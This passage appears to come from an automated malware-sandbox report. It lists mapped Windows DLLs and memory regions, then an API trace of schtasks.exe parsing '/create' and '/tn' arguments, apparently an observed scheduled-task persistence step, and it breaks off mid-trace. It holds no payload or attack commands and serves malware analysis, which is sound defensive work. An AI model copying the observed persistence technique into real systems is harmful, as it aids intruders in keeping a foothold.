0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 2582 start_va = 0x320000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 2583 start_va = 0x320000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 2584 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 2585 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2586 start_va = 0x4e0000 end_va = 0x667fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004e0000" filename = "" Region: id = 2587 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2588 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2589 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2590 start_va = 0x670000 end_va = 0x7f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000670000" filename = "" Region: id = 2591 start_va = 0x800000 end_va = 0x1bfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000800000" filename = "" Region: id = 2592 start_va = 0x50000 end_va = 0x61fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2593 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2594 start_va = 0x70000 end_va = 0x70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 2595 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2596 start_va = 0x1c00000 end_va = 0x1ecefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2597 start_va = 0x190000 end_va = 0x20cfff monitored = 0 entry_point = 0x19cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2598 start_va = 0x190000 end_va = 0x20cfff monitored = 0 entry_point = 0x19cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2599 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2600 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2601 start_va = 0x1ed0000 end_va = 0x203ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ed0000" filename = "" Region: id = 2602 start_va = 0x1ed0000 end_va = 0x1faefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ed0000" filename = "" Region: id = 2603 start_va = 0x1fc0000 end_va = 0x203ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fc0000" filename = "" Region: id = 2604 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2605 start_va = 0x1a0000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 2606 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2607 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2608 start_va = 0x80000 end_va = 0x80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 2609 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2610 start_va = 0x90000 end_va = 0x90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2611 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2612 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2614 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 126 os_tid = 0xf7c [0067.803] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x11fea0 | out: lpSystemTimeAsFileTime=0x11fea0*(dwLowDateTime=0x517d95a0, dwHighDateTime=0x1d9eb0c)) [0067.803] GetCurrentProcessId () returned 0xf78 [0067.803] GetCurrentThreadId () returned 0xf7c [0067.803] GetTickCount () returned 0x17667ed [0067.803] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x11fea8 | out: lpPerformanceCount=0x11fea8*=2487428607156) returned 1 [0067.803] GetModuleHandleW (lpModuleName=0x0) returned 0xff3d0000 [0067.803] __set_app_type (_Type=0x1) [0067.803] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff3f972c) returned 0x0 [0067.803] __wgetmainargs (in: _Argc=0xff411240, _Argv=0xff411250, _Env=0xff411248, _DoWildCard=0, _StartInfo=0xff41125c | out: _Argc=0xff411240, _Argv=0xff411250, _Env=0xff411248) returned 0 [0067.804] _onexit (_Func=0xff402ab0) returned 0xff402ab0 [0067.804] _onexit (_Func=0xff402ac4) returned 0xff402ac4 [0067.804] _onexit (_Func=0xff402afc) returned 0xff402afc [0067.804] _onexit (_Func=0xff402b58) returned 0xff402b58 [0067.805] _onexit (_Func=0xff402b80) returned 0xff402b80 [0067.805] _onexit (_Func=0xff402ba8) returned 0xff402ba8 [0067.805] _onexit (_Func=0xff402bd0) returned 0xff402bd0 [0067.805] _onexit (_Func=0xff402bf8) returned 0xff402bf8 [0067.805] _onexit (_Func=0xff402c20) returned 0xff402c20 [0067.805] _onexit (_Func=0xff402c48) returned 0xff402c48 [0067.806] _onexit (_Func=0xff402c70) returned 0xff402c70 [0067.806] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0067.806] WinSqmIsOptedIn () returned 0x0 [0067.806] GetProcessHeap () returned 0x220000 [0067.806] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x237f40 [0067.807] SetLastError (dwErrCode=0x0) [0067.807] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0067.807] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0067.807] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0067.807] VerifyVersionInfoW (in: lpVersionInformation=0x11f660, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x11f660) returned 1 [0067.807] GetProcessHeap () returned 0x220000 [0067.807] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23bab0 [0067.807] lstrlenW (lpString="") returned 0 [0067.807] GetProcessHeap () returned 0x220000 [0067.807] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x2) returned 0x23bad0 [0067.807] GetProcessHeap () returned 0x220000 [0067.807] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x2359d0 [0067.807] GetProcessHeap () returned 0x220000 [0067.807] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23baf0 [0067.807] GetProcessHeap () returned 0x220000 [0067.807] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235a00 [0067.807] GetProcessHeap () returned 0x220000 [0067.807] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235a30 [0067.807] GetProcessHeap () returned 0x220000 [0067.807] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235a60 [0067.807] GetProcessHeap () returned 0x220000 [0067.807] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235a90 [0067.807] GetProcessHeap () returned 0x220000 [0067.807] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23bb10 [0067.808] GetProcessHeap () returned 0x220000 [0067.808] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235ac0 [0067.808] GetProcessHeap () returned 0x220000 [0067.808] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235af0 [0067.808] GetProcessHeap () returned 0x220000 [0067.808] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235b20 [0067.808] GetProcessHeap () returned 0x220000 [0067.808] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235b50 [0067.808] GetProcessHeap () returned 0x220000 [0067.808] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23bb30 [0067.808] GetProcessHeap () returned 0x220000 [0067.808] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235b80 [0067.808] GetProcessHeap () returned 0x220000 [0067.808] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235bb0 [0067.808] GetProcessHeap () returned 0x220000 [0067.808] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235be0 [0067.808] GetProcessHeap () returned 0x220000 [0067.808] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235c10 [0067.808] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.808] SetLastError (dwErrCode=0x0) [0067.808] GetProcessHeap () returned 0x220000 [0067.808] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235c40 [0067.808] GetProcessHeap () returned 0x220000 [0067.808] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235c70 [0067.808] GetProcessHeap () returned 0x220000 [0067.808] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235ca0 [0067.808] GetProcessHeap () returned 0x220000 [0067.808] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235cd0 [0067.808] GetProcessHeap () returned 0x220000 [0067.808] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235d00 [0067.808] GetProcessHeap () returned 0x220000 [0067.808] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23bb50 [0067.809] _memicmp (_Buf1=0x23bb50, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.809] GetProcessHeap () returned 0x220000 [0067.809] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x208) returned 0x23bcf0 [0067.809] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x23bcf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0067.809] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0067.811] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0067.811] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0067.812] GetProcessHeap () returned 0x220000 [0067.812] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x74e) returned 0x23c2c0 [0067.812] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0067.812] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x23c2c0 | out: lpData=0x23c2c0) returned 1 [0067.812] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0067.812] VerQueryValueW (in: pBlock=0x23c2c0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x11f748, puLen=0x11f7b0 | out: lplpBuffer=0x11f748*=0x23c65c, puLen=0x11f7b0) returned 1 [0067.814] _memicmp (_Buf1=0x23bb50, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.814] _vsnwprintf (in: _Buffer=0x23bcf0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x11f728 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0067.814] VerQueryValueW (in: pBlock=0x23c2c0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x11f7b8, puLen=0x11f7a8 | out: lplpBuffer=0x11f7b8*=0x23c488, puLen=0x11f7a8) returned 1 [0067.814] lstrlenW (lpString="schtasks.exe") returned 12 [0067.814] lstrlenW (lpString="schtasks.exe") returned 12 [0067.815] lstrlenW (lpString=".EXE") returned 4 [0067.815] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0067.815] lstrlenW (lpString="schtasks.exe") returned 12 [0067.815] lstrlenW (lpString=".EXE") returned 4 [0067.815] _memicmp (_Buf1=0x23bb50, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.815] lstrlenW (lpString="schtasks") returned 8 [0067.816] GetProcessHeap () returned 0x220000 [0067.816] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235df0 [0067.816] GetProcessHeap () returned 0x220000 [0067.816] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cbd0 [0067.816] GetProcessHeap () returned 0x220000 [0067.816] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cc00 [0067.816] GetProcessHeap () returned 0x220000 [0067.816] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cc30 [0067.816] GetProcessHeap () returned 0x220000 [0067.816] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23bb70 [0067.816] _memicmp (_Buf1=0x23bb70, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.816] GetProcessHeap () returned 0x220000 [0067.816] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xa0) returned 0x23c0f0 [0067.816] GetProcessHeap () returned 0x220000 [0067.816] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cc60 [0067.816] GetProcessHeap () returned 0x220000 [0067.816] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cc90 [0067.816] GetProcessHeap () returned 0x220000 [0067.816] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23ccc0 [0067.816] GetProcessHeap () returned 0x220000 [0067.816] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23bb90 [0067.816] _memicmp (_Buf1=0x23bb90, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.816] GetProcessHeap () returned 0x220000 [0067.817] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x200) returned 0x23d3a0 [0067.817] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x23d3a0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0067.817] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0067.817] GetProcessHeap () returned 0x220000 [0067.817] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x30) returned 0x237b60 [0067.817] _vsnwprintf (in: _Buffer=0x23c0f0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x11f728 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0067.817] GetProcessHeap () returned 0x220000 [0067.817] GetProcessHeap () returned 0x220000 [0067.817] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c2c0) returned 1 [0067.817] GetProcessHeap () returned 0x220000 [0067.817] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c2c0) returned 0x74e [0067.818] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c2c0 | out: hHeap=0x220000) returned 1 [0067.818] SetLastError (dwErrCode=0x0) [0067.818] GetThreadLocale () returned 0x409 [0067.818] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.818] lstrlenW (lpString="?") returned 1 [0067.818] GetThreadLocale () returned 0x409 [0067.818] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.818] lstrlenW (lpString="create") returned 6 [0067.818] GetThreadLocale () returned 0x409 [0067.818] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.818] lstrlenW (lpString="delete") returned 6 [0067.818] GetThreadLocale () returned 0x409 [0067.818] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.818] lstrlenW (lpString="query") returned 5 [0067.818] GetThreadLocale () returned 0x409 [0067.818] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.818] lstrlenW (lpString="change") returned 6 [0067.818] GetThreadLocale () returned 0x409 [0067.818] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.818] lstrlenW (lpString="run") returned 3 [0067.818] GetThreadLocale () returned 0x409 [0067.818] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.819] lstrlenW (lpString="end") returned 3 [0067.819] GetThreadLocale () returned 0x409 [0067.819] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.819] lstrlenW (lpString="showsid") returned 7 [0067.819] GetThreadLocale () returned 0x409 [0067.819] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.819] SetLastError (dwErrCode=0x0) [0067.819] SetLastError (dwErrCode=0x0) [0067.819] lstrlenW (lpString="/create") returned 7 [0067.819] lstrlenW (lpString="-/") returned 2 [0067.819] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0067.819] lstrlenW (lpString="?") returned 1 [0067.819] lstrlenW (lpString="?") returned 1 [0067.819] GetProcessHeap () returned 0x220000 [0067.819] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23c1a0 [0067.819] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.819] GetProcessHeap () returned 0x220000 [0067.819] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xa) returned 0x23c2c0 [0067.819] lstrlenW (lpString="create") returned 6 [0067.819] GetProcessHeap () returned 0x220000 [0067.819] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23c2e0 [0067.819] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.819] GetProcessHeap () returned 0x220000 [0067.819] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x23c300 [0067.819] _vsnwprintf (in: _Buffer=0x23c2c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|?|") returned 3 [0067.819] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|create|") returned 8 [0067.819] lstrlenW (lpString="|?|") returned 3 [0067.819] lstrlenW (lpString="|create|") returned 8 [0067.819] SetLastError (dwErrCode=0x490) [0067.819] lstrlenW (lpString="create") returned 6 [0067.819] lstrlenW (lpString="create") returned 6 [0067.820] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.820] GetProcessHeap () returned 0x220000 [0067.820] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c2c0) returned 1 [0067.820] GetProcessHeap () returned 0x220000 [0067.820] RtlReAllocateHeap (Heap=0x220000, Flags=0xc, Ptr=0x23c2c0, Size=0x14) returned 0x23c320 [0067.820] lstrlenW (lpString="create") returned 6 [0067.820] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.820] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|create|") returned 8 [0067.820] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|create|") returned 8 [0067.820] lstrlenW (lpString="|create|") returned 8 [0067.820] lstrlenW (lpString="|create|") returned 8 [0067.820] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0067.820] SetLastError (dwErrCode=0x0) [0067.820] SetLastError (dwErrCode=0x0) [0067.820] SetLastError (dwErrCode=0x0) [0067.820] lstrlenW (lpString="/tn") returned 3 [0067.820] lstrlenW (lpString="-/") returned 2 [0067.820] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0067.820] lstrlenW (lpString="?") returned 1 [0067.820] lstrlenW (lpString="?") returned 1 [0067.820] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.820] lstrlenW (lpString="tn") returned 2 [0067.820] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.820] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|?|") returned 3 [0067.820] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|tn|") returned 4 [0067.820] lstrlenW (lpString="|?|") returned 3 [0067.820] lstrlenW (lpString="|tn|") returned 4 [0067.820] SetLastError (dwErrCode=0x490) [0067.820] lstrlenW (lpString="create") returned 6 [0067.820] lstrlenW (lpString="create") returned 6 [0067.820] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.821] lstrlenW (lpString="tn") returned 2 [0067.821] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.821] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|create|") returned 8 [0067.821] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|tn|") returned 4 [0067.821] lstrlenW (lpString="|create|") returned 8 [0067.821] lstrlenW (lpString="|tn|") returned 4 [0067.821] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0067.821] SetLastError (dwErrCode=0x490) [0067.821] lstrlenW (lpString="delete") returned 6 [0067.821] lstrlenW (lpString="delete") returned 6 [0067.821] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.821] lstrlenW (lpString="tn") returned 2 [0067.821] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.821] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|delete|") returned 8 [0067.821] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|tn|") returned 4 [0067.821] lstrlenW (lpString="|delete|") returned 8 [0067.821] lstrlenW (lpString="|tn|") returned 4 [0067.821] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0067.821] SetLastError (dwErrCode=0x490) [0067.821] lstrlenW (lpString="query") returned 5 [0067.821] lstrlenW (lpString="query") returned 5 [0067.821] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.821] lstrlenW (lpString="tn") returned 2 [0067.821] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.821] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x8, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|query|") returned 7 [0067.821] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|tn|") returned 4 [0067.821] lstrlenW (lpString="|query|") returned 7 [0067.821] lstrlenW (lpString="|tn|") returned 4 [0067.821] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0067.821] SetLastError (dwErrCode=0x490) [0067.822] lstrlenW (lpString="change") returned 6 [0067.822] lstrlenW (lpString="change") returned 6 [0067.822] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.822] lstrlenW (lpString="tn") returned 2 [0067.822] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.822] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|change|") returned 8 [0067.822] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|tn|") returned 4 [0067.822] lstrlenW (lpString="|change|") returned 8 [0067.822] lstrlenW (lpString="|tn|") returned 4 [0067.822] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0067.822] SetLastError (dwErrCode=0x490) [0067.822] lstrlenW (lpString="run") returned 3 [0067.822] lstrlenW (lpString="run") returned 3 [0067.822] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.822] lstrlenW (lpString="tn") returned 2 [0067.822] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.822] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|run|") returned 5 [0067.822] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|tn|") returned 4 [0067.822] lstrlenW (lpString="|run|") returned 5 [0067.822] lstrlenW (lpString="|tn|") returned 4 [0067.822] StrStrIW (lpFirst="|run|", 